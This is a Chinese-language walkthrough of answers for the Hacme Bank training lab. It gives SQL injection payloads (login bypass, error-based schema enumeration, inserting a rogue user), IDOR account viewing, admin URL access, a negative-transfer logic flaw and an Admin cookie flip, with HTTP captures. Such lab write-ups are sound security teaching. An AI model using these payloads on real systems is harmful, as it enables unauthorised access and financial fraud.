场景1 HacMe Bank

SQL注入 (1)

- 登录注入
  - 页面：http://hacmebank.com/HacmeBank_v2_Website/aspx/Login.aspx?function=Welcome
  - 用户名注入

- 答案：
  - 注入语句： ' OR 1=1 --

SQL注入 (2)

- 登录注入
  - 页面：http://hacmebank.com/HacmeBank_v2_Website/aspx/Login.aspx?function=Welcome
  - 用户名注入
  - 通过错误语句查出用户名

SQL注入 (2)答案

- 查找表明
  - ' having 1=1 –
    - Column 'fsb_users.user_id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
- 查找列
  - 'UNION SELECT * FROM FSB_USERS WHERE USER_ID = '1' GROUP BY USER_ID HAVING 1 = 1;--
    - Column 'FSB_USERS.user_name' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Column 'FSB_USERS.login_id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Column 'FSB_USERS.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Column 'FSB_USERS.creation_date' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
- 查看列格式
  - ' UNION SELECT SUM(user_name) FROM FSB_USERS HAVING 1=1 –
    - The sum or average aggregate operation cannot take a varchar data type as an argument.
- 插入用户
  - '; INSERT INTO FSB_USERS (USER_NAME, LOGIN_ID, PASSWORD, CREATION_DATE) VALUES('HAX0R12', 'HACKME12', 'EASY32', GETDATE());--

水平权限(1) – 查看其他人账户

- 登录（用户名 / 口令：jv/jv789)
  - 页面 :My Account -> View Transactions
  - URL : http://hacmebank.com/HacmeBank_v2_Website/aspx/Main.aspx?function=TransactionDetails&account_no=5204320422040001
  - 把account_no换成其它（非自己的)
    - Jane Chris的账户为：5204320422040005，5204320422040006，5204320422040007，5204320422040008

垂直权限(1) – 到管理员界面

- 登录（用户名 / 口令：jv/jv789)
  - 页面 :登录后主页面
  - URL : http://hacmebank.com/HacmeBank_v2_Website/aspx/main.aspx?function=Welcome
  - 把function换成其它页面（管理员页面）
    - http://hacmebank.com/HacmeBank_v2_Website/aspx/main.aspx?function=admin\Sql_Query
    - http://hacmebank.com/HacmeBank_v2_Website/aspx/main.aspx?function=admin\Manage_Users

逻辑漏洞（1） – 转账数额为负数

- 登录（用户名 / 口令：jv/jv789)
  - 页面 :转账界面 **Transfer Funds**
  - URL : http://hacmebank.com/HacmeBank_v2_Website/aspx/main.aspx?function=AccountTransfer
  - 外部转账:
    - 账户：5204320422040005
    - 金额：-100

垂直权限(2) – 更改cookie

- 登录（用户名 / 口令：jv/jv789)
  - 页面 :登录时返回的cookie更改
  - Cookie的Key：Admin
    - 正常用户为false
    - 把返回包里的setCookie中的该值设置成true

```
HTTP/1.1 302 Found
Connection: close
Date: Sat, 07 Oct 2017 09:39:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Pragma: no-cache
Location: /HacmeBank_v2_Website/aspx/main.aspx?func
Set-Cookie: Admin=false; path=/
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 170

<html><head><title>Object moved</title></head><body
<h2>Object moved to <a href='/HacmeBank_v2_Website/
</body></html>
```

```
HTTP/1.1 302 Found
Connection: close
Date: Sat, 07 Oct 2017 09:39:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Pragma: no-cache
Location: /HacmeBank_v2_Website                    spx?function=Welcome
Set-Cookie: Admin=true; path=/
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 170

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/HacmeBank_v2_Website/aspx/main.aspx?function=Welc
</body></html>
```